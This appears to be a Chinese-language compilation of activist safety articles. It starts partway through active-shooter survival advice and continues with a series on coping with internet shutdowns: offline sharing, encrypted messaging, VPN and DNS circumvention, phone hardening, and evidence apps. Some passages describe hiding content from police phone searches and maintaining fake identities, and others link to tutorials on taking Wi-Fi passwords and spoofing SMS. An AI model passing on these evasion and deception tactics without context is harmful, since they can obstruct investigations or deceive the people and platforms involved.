📌 这里需要使用到的是「在现实中反侦察」的技巧，同名内容汇总在 列表-1 中。简单说，您需要知道您的观察应该瞄准什么样的细节，非常推荐该板块的内容，建议全部阅读，对于那些不得不随时躲避政府间谍和线人的异议人士来说，这些技巧都非常有用。

总之，您的观察力越强，反应就能越快。这就是为什么专家会建议：如果您看到什么，就说出来。即便是错了也总比保持沉默让灾难发生要好得多。

这并不是说让您保持绝对的偏执状态，而是强调您应该警惕什么 —— 目标是明确的，那就是保命。也并不是说每一个穿着大风衣的人都是坏人，只是一个简单的事实是，在风衣下很容易隐藏武器，所以您需要密切注意。

4、在事情发生之前确定潜在的出口

「图」

每当你进入一个公共场所，首先应该做的就是确定出口的位置 —— 寻找任何可以离开房间或建筑物的方法，在脑子里记住它们。

除了门之外，还要寻找窗户甚至天花板上的出口。在弗吉尼亚理工大学发生的大规模枪击案中，一些学生从二楼的窗户跳下，逃到安全地带。

这是为紧急情况做好准备的最基础建议。在每一次乘坐商业航班时，您都会被提醒要首先确定所有出口门的位置。

5、识别可用做掩体的所有物体或屏障

「图」

您需要寻找的是砖墙、水泥柱、自动售货机、钢门或金属门。普通的桌子、椅子和大型盆栽植物都不能提供足够的掩护。

6、确定潜在的隐藏点

「图」

如果现场的状况导致您无法接近上述已经观察到的出口，那么躲藏可能是下一个最佳选择。

在您确定了所有潜在的出口后，就要继续寻找潜在的藏身点。寻找一个房间或衣柜，尤其是有门锁的房间。记下这些藏身点的位置，并为如何快速到达那里规划出一条路径。

7、确定可以用来自我防御的潜在武器

「图」

接下来就是要确定潜在的武器了。如果您不能跑，也无处可躲，战斗就可能是唯一的选择。

寻找任何可以变成武器的东西 —— 如拖把或扫帚柄、一把剪刀、可以扔向枪击犯的重物，甚至是可以扔出或点燃的有害化学物质。

您应该把这些东西的位置记下来，以便在需要的时候可以及时抓住它们。

上图中这本书在这里下载：https://www.patreon.com/posts/dang-nin-mei-you-39670006

上图中这本书在这里下载：https://www.patreon.com/posts/250duo-chong-zi-39730857

如果听到枪声怎么办

「图」

如果你听到枪声或听起来像枪声的声音，就应该立即采取行动。您所做的准备工作到此为止，现在需要迅速做出决定。

当枪击事件开始时，有一件重要的事情要记住 —— 枪手是为了在最短的时间内杀死尽可能多的人。在大多数情况下，他们并不在乎发生什么，因为他们已经做好了在屠杀结束时自杀的准备。

当一个枪手进入一个设施并开始射击时，混乱将会爆发。人们会尖叫和奔跑，这时一般很难迅速做出决定。您最好是事先在心中有一个计划。

跑—躲藏—战斗

「图」

身处主动枪击事件中的人需要记住这句简单的话，“跑，躲，打”。下面将更详细地介绍其中的每一个字。

1、跑 —— 远离枪击者，以最快速度抵达射程之外

「图」

逃跑是听到枪声的自然反应。枪击案的现场视频画面中，人们常常会向四面八方散开以避免中枪或被杀。如果你能跑，就跑吧。尽快离开该地区，但需要尽量保持对自己所做的事的认识，乱跑只会增加危险性。

在一些事件中，受到惊吓的人们实际上是向拿枪的人跑过去了。当时一片混乱，没有人真正知道发生了什么。

您需要的是尽量保持低调，以不稳定的模式运动。这将使您成为更难对付的目标。如果可能的话，尽量躲起来，从一个掩体跑到另一个掩体。尽量往出口方向跑。

2、隐藏

「图」

如果您无法离开枪击现场，那么下一个最佳选择就是隐藏。寻找潜在的藏身之处，比如寻找一个带锁门的房间。

如果无法跑到另一个房间去，那就找一些物体躲在后面，比如墙、柜子、桌子、大的柱子等。寻找任何可以遮挡住您整个身体的东西，并且要足够厚，可以防弹的。

您需要寻找由重金属制成的家具、橱柜和其他结构。避免使用铝、木头和其他轻质材料制成的东西。这将有助于保护您免受枪击，并帮助您躲避枪手的视线。

尽量保持警觉，并准备好在必要时转移到其他地点。

尽量保持安静。尖叫和/或哭泣只会引起枪手的注意。如果可以的

话，将手机静音。

一旦您进入可以藏身的房间，就需要立刻用能找到的所有重的东西堵住门。

将您能找到的最重的物品移到门前，防止门被撞开。在某些类型的门上，您可以在顶部的铰链上系上一条皮带，以防止铰链延伸。

如果可能的话，关上灯。请记住，枪手们都在寻找快速和简单的杀伤力；如果有其他光线充足的地方有更容易的目标，他们一般会避开黑暗区域。

只有在必要的情况下才用身体挡住门。因为如果门不够厚的话子弹可以穿透。

3、不建议装死

「图」

不建议“装死”，除非您已经别无选择。一些大规模枪击案的受害者选择了装死，救了他们的命；但是，在其他情况下，枪手会回来对着尸体射击。

只有在你没有其他机会逃跑、躲藏或战斗时再选择装死。

4、为生存而战

「图」

在这种情况下，您真的是在为自己的生命而战了。这里没有规则，也没有所谓的干净的战斗。攻击者有武器，而你没有。

如果可能的话，在枪手瞄准您的时候弯腰、以低位的姿势快速朝向枪手冲过去以把对方扑倒。

- 去抢夺枪支。如果您别无选择，请尝试抓住武器并将其从枪手手中拿走。如果可以的话，将武器尽可能远地扔开，然后再跑。📌 当您逃跑时，请不要拿着枪，因为其他第一响应者可能认为您是枪手。
- 搏击 —— 踢、抓、咬 …… 以任何可能的方式让枪手受伤。
- 用指甲抓他们的眼睛；踢他们在腹股沟；揪住他们的头发 ……

- 一边搏斗一边大声喊叫，以最大的力气喊叫，巨大的声响可能会使枪手迷惑。

📌 关于搏击的技巧，参见第8集 《武器和自我防御的重要策略：在灾难中幸存的方法（8）》，有很多视频和书。

其他建议

「图」

1、社区、学校或工作场所有都必要组织一些专门的培训，关于应对枪击案的逃生指导；如果有相关培训，请参加，现场的培训非常重要，是文字无法描述清楚的实操。

2、您最好能习惯于随身携带一些隐秘的武器，具体建议见本系列第3集 《您必备的基本防身装备：在灾难中幸存的方法（3）》，尤其是，您应该在日常进行一些练习，以便能够顺手地使用这些武器。

3、最好结伴而行，最好与同等应变能力的朋友结伴。没有时间争辩和思考，您需要迅速评估状况并采取行动。

培训视频

「图」

如果您实在找不到现场培训，可以看一下视频讲座，以便帮助理解这些技巧。

以下视频提供了有关如何应对积极的射手并在大规模射击中幸存的建议。

1、来自 NBC

2、来自ABC

○□

原文

断网后如何进行文件共享和通信？：如何应对断网（1） - iyouport

如何应对断网自我保护措施-技术技巧以防身

【2020年8月12日存档】完全断网和部分阻塞的状况正在全球范围内变得越来越严重。这个互联网的基础设施不在公民手里，您完全无法控制，因此，您应该随时做好没有它的准备……

我们曾经介绍过如今的全球互联网中断现象有多么普遍，报告：《互联网巴尔干化已经是一个非常严重的全球政治问题》。

以克什米尔为例，该地区持续的互联网关闭和镇压是民主国家有史以来持续时间最长的互联网关闭，这对该地区人民的生活造成了灾难性的影响。

更糟的是，根据 *WhatsApp* 政策，由于用户连续*120*天不活动，*Kashmiris* 的 *WhatsApp* 用户帐户于*2019*年*12*月开始被注销。

在*2020*年*1*月，印度最高法院裁定无限期关闭克什米尔互联网是非法的，是滥用权力。在某些地区已恢复了有限的宽带和移动互联网，但是，仅限于 *“列入白名单”* 的网站 ……

当权者关闭互联网的目的是阻止人们共享信息和进行交流（并且还将人们推向安全性较低的通信形式，例如手机和 SMS，这使当局更容易进行拦截和监视）。

完全关闭互联网期间，人们总是难以找到更好的解决方法。

例如，在克什米尔关闭互联网的最严格时期，人们求助于手写笔记和快递员，以向亲人发送消息。

没有可靠的方法来规避所有障碍，但是，通过与活动家和同龄人的对话，我们了解到一些离线共享和交流的方法，这些方法可能会根据您所面临的情况而定。

- 不要错过 《如何用指标预测互联网中断？一旦断网还可以怎么办？》

请注意，其中某些选项需要首先进行联网设置（例如下载应用程序等）也就是说，您需要在互联网尚未关闭时进行基本下载操作。这就是为什么说，您应该有一些对时局的前瞻能力，如上面文章所介绍的。

直接通过 Bluetooth、Wifi Direct 或 NFC 共享文件

「图」

您无需互联网就可以通过蓝牙、Wifi Direct 或近场通信（NFC）将手机与附近的其他设备连接起来（NFC 有时在较旧的设备上被称为 Android Beam）。

蓝牙和 Wifi Direct 都是无线技术，可以 “配对” 两个设备，而中间可以没有其他路由器或接入点。

与蓝牙相比，WiFi Direct 可以提供更广泛的范围和更快的数据传输，但消耗的电力更多。

同时，NFC 的范围比蓝牙或 WiFi Direct 短得多（〜4cm），传输速度也慢得多，但连接速度更快，耗电量也更少，因此在双手握有两个设备的情况下进行小型传输时非常有用。

您的手机中可能内置了蓝牙、WiFi Direct 和 NFC 功能，这些功能会显示在您的共享选项中；此外，具有文件共享功能的应用（例如 Files By Google）也集成了这些技术。

⚠ 重要提示：这些服务的主要缺点是它们不安全。

蓝牙和 wifi 信标/扫描仪可用于跟踪您的位置或探测设备以获取信息。渗透者可能会尝试与您的设备配对，向您发送不需要的文件，甚至在设备易受攻击的状态下控制您的设备。

这就是为什么我们要强调：为了更安全，请在不使用这些服务时将其关闭，将应用程序权限限制为您所需的对象，并学习良好的操作安全性，例如 及时运行更新和使用强密码等。

- 具体保护性措施见 列表-1 “技术防身”
- 《为什么您不应该使用Wi-Fi》追踪演示

- 《Wi-Fi是如何出卖你的？》技术内容
- 实战《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》
- 《Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？》

使用无线驱动器或通过无线局域网（WLAN）共享文件

「图」

无线硬盘驱动器或闪存驱动器可用于一次性在团队中或多个人之间共享文件。

wifi 驱动通常会附带说明和/或用于将手机连接到驱动器的应用程序，并且相对易于使用。为了安全起见，请记住在驱动器上设置密码。*Users can connect to a wireless drive to share files.*

如果您没有无线驱动器，也可以通过将其插入无线路由器来共享常规USB驱动器上的文件。

例如，带有USB端口的旅行用路由器相对便宜且非常便携。用户可以通过本地网络（无需互联网）连接到USB驱动器。

要想在手机上访问已连接的 USB 驱动器上的文件，您将需要使用可以连接到网络存储的文件管理器应用，例如 Solid Explorer。

路由器的IP地址通常可以在手机的高级 wifi 设置中找到。*Users can connect to a USB drive plugged into a wireless router to share files over a LAN.*

Use a file manager app (Solid Explorer shown here) to connect to the network on your phone.

同时，另一个选择是 PirateBox，这是一个自己动手的项目，提供免费许可的软件。用户可以如上所述共享文件，并且 Piratebox 也允许用户匿名进行共享，而且还包括聊天和消息传递功能。

使用 Piratebox 需要下载、安装和一些设置的过程。有关说明，请访问 Piratebox 的网站。*PirateBox*

通过点对点聊天进行交流

「图」

激进主义者网络可以帮您意识到有两个新的点对点消息传递应用程序是：**Briar** 和 **Bridgefy**。感兴趣的话您可以试试。

Briar 是一个开源的端到端的加密消息传递应用程序，它不依赖中央服务器，而是在用户设备之间同步消息（因此内容保存在每个用户自己的设备上）。

即使没有互联网只使用蓝牙或WiFi它也可以同步（当有互联网时，该应用会通过 Tor 网络同步）。

Briar 还设有私人群组、公共论坛和博客。离线使用时，您的范围受到蓝牙或WiFi范围的限制（最大〜100米）。

同时，Bridgefy 是使用蓝牙发送消息的端到端加密消息应用程序（使用“广播”功能时除外）。

与 Briar 不同，在这里，消息可以通过沿其他 Bridgefy 用户的网状网络跳动而传播更长的距离（只有目标收件人才能阅读消息）。

Bridgefy 缺乏 Briar 所拥有的私人群组、论坛和博客功能，但是它确实具有广播模式，通过该模式，您可以向固定范围内的7位 Bridgefy 用户发送消息，这些用户完全不需要成为您的联系人（广播消息不一定是加密的）。

通过加密短信进行交流

「图」

SMS短信文本是通过蜂窝网络发送的，并且不依赖于互联网，因此在互联网关闭期间仍然可以正常工作。但是，短信是非常不安全的。

短信不是端对端加密的，这意味着文本消息（及其元数据）可以被政府和移动运营商读取，也可以被黑客拦截。

SMS 也可以被 “欺骗”，这意味着发件人可以操纵其地址信息来冒充另一个用户。比如你的熟人。

- 具体操作见《如何发送欺骗性短信？- 黑客主义行动力（7）》

「图」

如果您需要使用SMS，那么 Silence 是一款可以对SMS消息进行端到端加密的应用程序。它是开源的，并使用 Signal 加密协议。

请注意，发件人和收件人都需要安装它并彼此交换密钥。

由于SMS消息必定会通过您的电信服务器，因此即使使用Silence，您正在发送加密消息以及有关该消息的元数据的事实也可以由电信公司看到。

部分关闭互联网：绕过被阻止的站点

「图」

“互联网关闭” 通常并不意味着互联网完全中断，而是阻止对特定网站或社交媒体平台的访问。政府可以通过互联网服务提供商（ISP）阻止基于IP地址、内容或DNS查询的站点。

不确定网站是否被阻止？诸如 OONI 和 Netblocks 这样的组织都可以监视和衡量世界范围内的互联网中断和审查制度。

幸运的是，只要您可以访问互联网，就有一些方法可以解决部分阻塞问题。与加密一样，请记住，在您所在的国家/地区，有可能将规避阻止站点的行为定为犯罪。具体参加下面的报告：

- 《有多少国家禁止或限制使用 VPN？—— 全球互联网审查分布图：VPN 在你的国家合法吗？》

VPN

VPN是最常用的方法。当您通过VPN连接时，您的互联网通信将被加密并通过VPN服务器路由到另一个位置（例如在另一个国家/地区），从而向ISP隐藏了真正的目的地和通信内容。

请记住，一些政府禁止使用VPN，或者可能尝试检测和阻止VPN连接。

使用值得信赖的VPN提供商也非常重要，因为该提供商将能够看到您的互联网活动的一切。

- 《如何验证您的 VPN 连接是否安全？》
- 《如何检查您的VPN连接是否实际加密》
- 《VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现

的？》

请注意VPN提供商所在的国家/地区，以及根据其管辖范围可能要遵循的法律程序。

此外，必须知道，政府批准的VPN实际上可以对数据进行全面监视和检查。切勿使用！

DNS服务器

DNS（“域名系统”）服务器用来将用户在浏览器中键入的域名或URL转换为互联网用来标识网页的数字IP地址。ISP可以修改其控制的DNS服务器以阻止某些查询，或者返回不正确的页面以表明该网站不存在。

2014年，土耳其 Recep TayyipErdoğan 试图使用这种技术在土耳其大选期间封锁 Twitter。激进主义者迅速绕过了该禁令，他们分享了有关如何使用VPN和更改DNS服务器的逐步提示。*Twitter is blocked in Turkey. On the streets of Istanbul, the action against censorship is graffiti DNS addresses.*

您可以在手机的网络或wifi设置中更改默认的DNS服务器。

除了默认的DNS服务器，您还可以使用其他DNS服务器（例如 Google Public DNS 或 CloudFlare）来绕过基于DNS的阻塞。

Cloudflare 还具有一个名为1.1.1.1的应用程序，允许用户通过简单的界面切换到 Cloudflare DNS 服务器。*You can change DNS addresses in advanced wifi settings (note down or take a picture of your old settings first).*

这只是规避最常见的阻塞技术的两种方法。您还可以查看来自 Internet Society, Access Now, Security-in-a-Box, 和 EFF 的有用指南，以获取更深入的信息。○

原文

如何搞定您的手机以便能让它应付断网状态？：如何应对断网（2） - iyouport

如何应对断网

【 2020年8月13日存档】在断网状态下安全地保存证据

欢迎回来！

如果您错过了第一部分内容，可以在这里回顾《断网后如何进行文件共享和通信？：如何应对断网（1）》。

尽管互联网已经处于关闭状态，但您仍可以捕获重要的视频证据，这些证据可以离线共享或待重新联机后共享。

以下是一些技巧，旨在帮助您为离线后的文件资料处理设置手机。

⚠ 请注意，某些步骤需要访问互联网，因此必须在断网之前执行。因此您应该有预测断网的前瞻眼光。

- 做法 《如何用指标预测互联网中断？一旦断网还可以怎么办？》

不要等到遇到压力时再执行这些步骤；请立即进行操作，并花一些时间练习如何使用手机，然后才能在发生危机时应对自如。

互联网关闭通常与加强信息控制以及限制表达和集会自由相吻合。这在任何国家都是如此。如果您是记录真相的人，请在这些事件发生期间采取额外的预防措施来保护自己和您的信息。

如果当局有可能没收您的手机，或迫使您解锁手机并透露其中的内容，请考虑使用与主要私人手机不同的其他手机进行记录。

这有助于最大程度地减少您所携带的可能被泄露的关键信息的风险 —— 例如您的联系人、帐户、私密消息等。

即便您只有一部手机无法使用其他设备，也仍然可以按照本指南进行

操作，以尽可能减少敏感数据量的泄漏，并提高主要手机的安全性。

更多具体的防御方法，详见：

- 《公民取证技巧：如何留住真相？》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》

如果要重新使用旧手机，请首先将其彻底擦除

「图」

要擦除手机，请运行恢复出厂设置。

请注意：研究表明，在手机上运行 “恢复出厂设置” 并不一定会擦除所有数据。实际上，擦除数据的唯一100%安全的方法是彻底销毁手机，但是如果您想重复使用该手机，就无法这样做。

- 正确的擦除手机的方法，见 《如何彻底擦除您的Android手机？》
- 《清空废纸篓无法真正”删除”文件，如何彻底删除以抵制任何取证工具？》

您也可以确保在恢复出厂设置之前对设备的内容进行加密。

无论如何，加密是当前大多数电话上的默认设置，但如果没有，则在重置之前先进入“设置”」“安全性”」“加密电话”。这样，当您将手机恢复出厂设置时，加密密钥将丢失，并且所有未擦除的数据将无法读取。

练习基本的手机安全性

「图」

无论您是否在互联网关闭期间进行记录，都有适用于每种情况的常规手机安全性的惯例。具体做法请参见 “难以被追踪” 系列如下，以及我们的分类列表-1 “技术防身” 部分：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》

- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》
- 《少即是多：变得难以被追踪的简单方法（5）》
- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》
- 《在雷达下低飞：变得难以被追踪的简单方法（7）》
- 《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》
- 《8个步骤实现基本匿名实践：变得难以被追踪的简单方法（9）》

您至少应该做到：

1、确保您的手机已加密。较新的手机默认情况下启用加密。如果您不确定自己的手机如何，请检查手机上的安全设置。

2、定期运行操作系统（OS）更新，因为它们通常可以修复安全漏洞。

3、定期更新您的重要应用（例如消息传递应用）。

4、设置一个强度高的密码，该密码至少应包含6位数字，并且不依赖于指纹/触摸或面部ID。

5、设置屏幕锁定和锁定计时器。

6、如果不需要，请关闭位置服务（包括紧急位置服务、位置共享功能以及WiFi和蓝牙扫描选项）。同时检查单个应用的位置权限。

7、不需要时关闭蓝牙和WiFi，以免跟踪设备。

8、不使用手机时将其关闭。

安装有用的文档应用程序

「图」

对于照片或视频文档，您可以使用手机上的内置摄像头应用程序，也可以使用更专业的文档应用程序，例如 ProofMode 或其他，以实现更强大的元数据捕获和导出、标识和身份验证，加密，或其他功能。

OONI Probe 是一款用于记录断网问题的有用工具，它是一款开源应

用程序，可通过手机运行测试以衡量站点或平台是否被阻止。它可以显示如何、何时、何地以及由谁阻止这些站点。

☞使用此应用之前，请务必了解潜在的风险。在有些国家，做这样的测试可能很危险。因为，监视您的互联网活动的任何人 —— 例如 ISP、政府、雇主 —— 都可以看到您正在运行 OONI Probe；有动机的 ISP 可能会尝试通过公开的OONI数据来识别用户。

安装一些日常应用

「图」

手机上的数据很少、只有几个专门的应用程序，这样的状态可能会引起怀疑。为使设备看起来像是一部正常使用的电话，请安装您所在区域中常见的一些日常应用程序 —— 但这些应用程序必须是从信誉良好的来源下载的，并为您的图库拍摄一些无关紧要的照片。

对于社交媒体应用程序，您可能希望创建并登录备用帐户，但是在大多数平台上使用虚假帐户都会违反服务条款，并且某些平台的身份验证要求可能会使创建虚假帐户变得困难。

此外，您将需要花费一些时间来创建内容并向其中添加 “朋友”，这可能会很麻烦。

于是您应该平时有意识地 “养” 一个或多个替代身份，以备不时之需。具体操作见 《分身术》和 《角色扮演》。

在没有互联网的情况下安装应用

「图」

在没有互联网访问的情况下下载和安装应用显然是一个挑战。如果您预计互联网中断，则需要提前下载应用程序。

一种可以稍后帮助您和其他人的策略是在手机存储设备或驱动器上下载并保存该应用的 Android 软件包（.apk）文件 —— 从受信任的来源下载，例如直接从开发人员处下载。使这些 APK 能够让您或其他人在没有互联网的情况下共享应用。

虽然我们没有机会尝试一下，但 F-Droid 应用程序提供了一个界面，可以离线交换这些 APK。这里是他们的教程。

将您真实的个人或私人/敏感信息保留在设备之外

「图」

让这个负责行动的设备处于专用状态。切勿将其用于与您私人或其他敏感人士有联系的任何电子邮件、电话、即时通讯等，因为该设备可能会面临风险，并且请勿将此设备连接到您的 *任何* 真实主要帐户。

遮盖内容

「图」

您需要假设自己的手机遭到搜查，您需要使自己的意图不那么明显或难以找到您不希望被看到的内容。您应该对自己的设备做一个快速检测，采用一些简单的策略，例如：

1、使用启动器应用程序（例如 Nova Launcher，还有很多）更改应用程序快捷方式的名称和图标，使某些应用程序的含义不太明显。

2、如果您的手机支持的话，请使用内置的隐私功能，例如 Private Mode (Samsung) 或 Content Lock (LG),

3、在任何文件夹内放置一个名为“ .nomedia”的空文件，以防止文件夹中的媒体出现在您的相册中。请注意：如果仍然会出现，则可能需要清除相册缓存。这可能无法在所有设备上一致。

4、使用文件管理器应用程序创建隐藏文件夹（以 “.” 开头的文件夹）。

您可以手动将文件移动到隐藏文件夹，或者如果您使用像 Open Camera 之类的应用程序，则可以指定存储录制和拍摄的媒体的位置。

确保在 “设置” 中关闭 “显示隐藏文件” 选项，以使隐藏文件不可见。

5、某些专门的应用程序 —— 例如 Tella 或 Eyewitness to Atrocities —— 将文档存储在单独的加密相册中，这些相册的内容只能在该应用程序中访问，这可能会使搜查您的手机的人不容易找到。

访问这些安全图库中的文档需要单独的密码，因此即使您的手机未锁

定，这一部分仍会保持加密状态。

有关隐藏内容的重要说明

「图」

⚠需要注意的是，以上这些技术可能足以甩掉那些快速搜查您的手机的人，就像在地铁出口处随机拦住任何人搜查的行为，但是，可能无法阻止专心致志的警察取证。在下面看到：

- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》

还请记住，某些国家/地区可能有法律限制、将使用上述这类安全应用程序定为犯罪。

使用这些安全应用程序来防止当局访问您的数据，可能会被当权者视为“破坏证据或妨碍调查”，并可能构成犯罪。

☞如果您对您所在国家/地区的法律不很清楚，请查看此处的地图（很全面，从2017年开始）是一个很好的起点。

设置离线共享

「图」

在捕获到当权者的罪证和反抗者的重要行动记录后却没有互联网的情况下，出于安全原因，或为了释放空间或与他人共享，您可能仍希望将文档从手机上转移出去。

定期从手机上卸载文档也将有助于最大程度地减少泄露的信息，比如，您的设备可能会被查抄或被强行解锁。

即使您无法连接到互联网，也仍然可以在本地连接启用 wifi 或蓝牙的设备，例如另一部电话或 wifi USB 驱动器。

如果您的手机支持，也可以插入 USB On-The-Go（OTG）以将文档卸载到OTG驱动或其他设备。

在遇到危机之前进行练习

「图」

如果您可以上网，请立即设置手机。在日常情况下（不存在安全问题的情况下）开始练习使用这些应用程序，以使您能熟悉和舒适地使用它们。

☞将良好的基本手机安全操作作为默认习惯性做法。只有这样，当您陷入危机中有很多其他事需要担心时，才不至于因慌乱而出错。〇

—— 未完待续 ——

原文

我应该使用这个应用程序保存真相吗？：如何应对断网（3） - iyouport

如何应对断网

【2020年8月20日存档】作为行动者，您需要首先保证安全，并同时尽可能保证在断网的情况下可以储存收集到的证据

欢迎回来！

如果您还没有读过前两部分的内容，可以在下面回顾：

- 《断网后如何进行文件共享和通信？：如何应对断网（1）》
- 《如何搞定您的手机以便能让它应付断网状态？：如何应对断网（2）》

在反抗行动中，行动者可以使用许多应用程序来捕获视频证据，从手机的本机相机应用程序到更专业的应用程序，例如 ProofMode，Tella 或 Eyewitness to Atrocities。

某些应用具有依赖互联网访问的功能，因此请记住，如果互联网关闭，某些功能将不可用。

我们无法告诉您哪个特定应用最适合您，因为这取决于您的具体情况、需求和风险（有关更多评估风险和威胁的方法，请查看这里）。

掌握了风险评估之后，以下这些指导性问题可以帮助您评估哪种视频文档应用可能最适合您。

谁制作了该应用，我是否应该信任他们？

「图」

您应始终考虑准备下载并安装在自己设备上的任何应用的创建者，以及是否可以信任他们，以免有意或无意地使您冒险。

要注意的一些事是：

- 应用开发者有信誉吗？您的社区和更广泛的网络中的人们对他们及其开发的工具有什么看法？
- 应用程序开发人员容易受到攻击吗？考虑他们的背景，以及是否可能被迫移交您的数据给当局、或为当局创建后门的可能性（或者他们过去是否确实这样做过）。数据存储在哪个国家/地区，以及该辖区中的相关法律是什么？
- 应用开发人员是否在维护该应用？无维护的工具容易受到利用已发现漏洞的黑客的攻击。检查开发者的网站或应用程序的 Google Play 页面的 “最后更新” 日期。
- 应用程序开发人员的公信力如何，他们是否能够随着时间的推移维持该应用程序正常？
- 该应用程序是开源的吗？接受监督的应用更有可能解决或至少确定其安全问题。开发人员是否对应用程序的功效和安全性具有足够的透明度？
- 哪些动机或时机推动了应用程序开发人员的工作，又会如何影响他们的可信度？例如，它们是任务驱动的吗？营利性的吗？由特定资助者赞助？
- 虽然不是可信赖度的直接指标，但应用程序的成本可能是一个重要的考虑因素。某些应用的月度费用或单个视频的费用都很高。

该应用程序可从哪里下载？

「图」

您应该始终仅从信誉良好的应用商店或网站下载和安装应用。

即使您进行了彻底的研究来确定应用程序的可信赖性，不正规的应用程序商店也可能会扭曲其商品，并导致您下载到出于恶意目的而创建的假货。

例如，去年，数字权利组织 SMEX 发布了有关各个网站营销名为 “WhatsApp Plus” 的应用程序的警告（请注意这不是 WhatsApp 产品！），这个应用程序可能会保存和出售用户的数据，或者使安装它的手机被黑客入侵。

一些注重安全性的开发人员甚至提供了加密密钥，使您可以验证其真实性。他们通常会提供有关如何验证的说明。

数据将存储在哪里？

「图」

一些应用程序仅将您的数据和文档本地存储在设备上，而另一些则仅将其数据存储在其他地方。

在许多情况下，这是应用程序的设计和目的所固有的，例如“Eyewitness to Atrocities”，该应用程序将文档的未更改副本发送到 Lexis Nexis 存储设施，以便目击者可以保证对该材料的监护权和完整性。发送后您只能将媒体从 Eyewitness 应用程序中的加密库中导出。

这一切取决于您的威胁模型。由您决定是否需要将文档仅仅保留在设备上，还是可以发送并存储到您可以控制的远程位置（如Tella的选项），或者能否发送到外部您被允许访问和使用文档的组织/平台。

请记住，在断网期间，您将无法立即通过互联网传输文档，因此您将需要一个至少可以暂时使您能够在本地存储文档的应用（并且最好是备份）。

如果您的数据将发送到远程位置，请注意数据将驻留在哪个国家。考虑：无论是通过法院命令还是其他手段，数据在这些国家中暴露的可能性如何？将数据暴露在那里会导致您本人和组织面临什么风险？

该应用程序是否加密我的媒体信息？

「图」

某些应用程序（例如 Tella 和 Eyewitness to Atrocities）为文件提供加密选项，与手机的主图库和手机的加密分开，因此，除非通过密码访问应用程序，否则媒体和元数据不会在设备上解密。

这意味着，即使您的手机已被迫解锁（被盗会被警察查抄），您的文档仍将保持加密状态。这样可以为您的文档提供额外的保护。

如果应用程序在互联网恢复后将媒体发送并存储到远程位置，还应考虑在传输过程中和在远程位置时是否需要加密，例如 EyeWitness 所做的。

请记住，虽然加密在大多数地方都是合法的，但是某些国家/地区可

能存在限制使用加密的法律，甚至定罪。查看这里的地图，关于哪些国家地区会限制加密。

该应用程序是否捕获重要的元数据（即使在没有互联网的情况下）？

「图」

元数据是描述您的视频或照片的数据，例如时间、日期、位置、设备型号等。在这里看到具体介绍和工具推荐：

- 《无处可藏的数字足迹—亦正亦邪元数据（上）》
- 《都是工具，从自我保护到有效利用—— 亦正亦邪元数据（下）》

这些信息对于识别，理解，认证和验证视频或照片作为特定事件的文档非常有用。在互联网关闭的情况下，应用程序自动收集某些元数据和/或允许您在现场轻松输入有用的描述性信息的功能尤其有用，因为共享文档可能需要很长时间，可能会忘记细节、情况可能会发生变化等等。

大多数专业的文档应用程序（例如 ProofMode）具有增强的元数据功能，并且比典型的内置相机应用程序收集更多的元数据。

增强的元数据可能包括各种传感器数据、附近的wifi或蓝牙信号、设备数据、密码散列和用户提供的信息，所有这些都可以在日后促进证据的可靠性 —— 如果当权者反咬，你可以拿出这些证据对抗他们。

请记住，在断网期间，您将需要一个不要求传输数据的应用程序来生成或记录元数据。

一些应用程序可能依赖互联网而不是硬件传感器来收集某些元数据。例如，如果从设备中捕获位置数据，则元数据可以反映设备进行数据连接的最后位置，而不是硬件的实际位置。

理想情况下，该应用还应允许您在不连接互联网的情况下在本地存储元数据，包括保存您要填写的任何表格（例如 Tella 的 “离线模式”）。

我可以从应用程序导出数据吗？

「图」

根据您的意图，可能必须以非应用专有的格式从应用中导出视频文档及其元数据；也就是说，能够在应用程序外部打开、查看和使用媒体和元数据。

导出功能意味着您和其他人不依赖单个应用程序或服务提供商来访问您的文档，并为您提供了处理未来内容的更多余地。

请记住，如果您无权访问某些数据库或转换表来解释数字（例如，使用手机信号塔ID或Wi-Fi网络），则某些元数据可能无法理解。

请注意，某些应用程序可能具有故意的封闭式监管链，不允许用户导出，而某些应用程序可能根本没有考虑导出用例。

另请注意，某些应用程序（例如 “Eyewitness to Atrocities”）可能不允许您将媒体上载到远程服务器之前导出（您需要访问互联网才能进行），而某些应用程序可能允许您导出媒体，但不允许导出元数据（文件本身的元数据除外）。

如果需要导出，理想情况下，您选的应用应允许您导出媒体的副本而无需进行任何更改或转换，以及以标准的可读文本格式导出元数据的副本。

例如，Tella 元数据已加密存储在 Tella 图库中，但可以导出为 CSV。此外，在断网期间，必须具有用于导出到脱机应用程序或不依赖于互联网的服务的选项。

大多数允许您导出的应用程序都有某种 “共享” 按钮，可触发共享菜单，Android 会在您的手机上填充能够处理此类内容的应用程序列表。

不幸的是，应用程序开发人员可以自定义其共享菜单，并且不同应用程序之间没有一致性。

对于大量文件，通过文件管理器应用程序访问存储的文件并从那里复制可能会更有效，尽管您可能无法通过这种方式访问应用程序数据库中存储的元数据。

此选项也不适用于提供自己的安全图库的应用程序，因为文件将在存储中加密。对于这些应用程序，必须在应用程序内具有共享功能。〇

—— 未完待续 ——

原文

没有互联网的情况下如何验证视觉信息的真伪：如何应对断网（4） - iyouport

如何应对断网

【2020年8月26日存档】您可以主动证明自己的真实性

欢迎回来！

如果您错过了前三集的内容，可以在下面回顾：

- 《断网后如何进行文件共享和通信？：如何应对断网（1）》
- 《如何搞定您的手机以便能让它应付断网状态？：如何应对断网（2）》
- 《我应该使用这个应用程序保存真相吗？：如何应对断网（3）》

人权维护者、调查人员、研究人员、和记者，经常依靠证人拍摄的第一手文件来监测、报告和处理侵犯人权行为。为了确保根据正确的信息行事，就需要采取细致的认证流程以核实收到的每一份文件，这个过程可能是痛苦而耗费时间的。

作为一个文档工作者，您有一些简单的事情可以做，让便别人可以更容易验证和印证你提供的文档信息，以便于及时有效地使用它们。

而在断网期间，这几个额外的步骤就更有价值了。于是您应该考虑到：

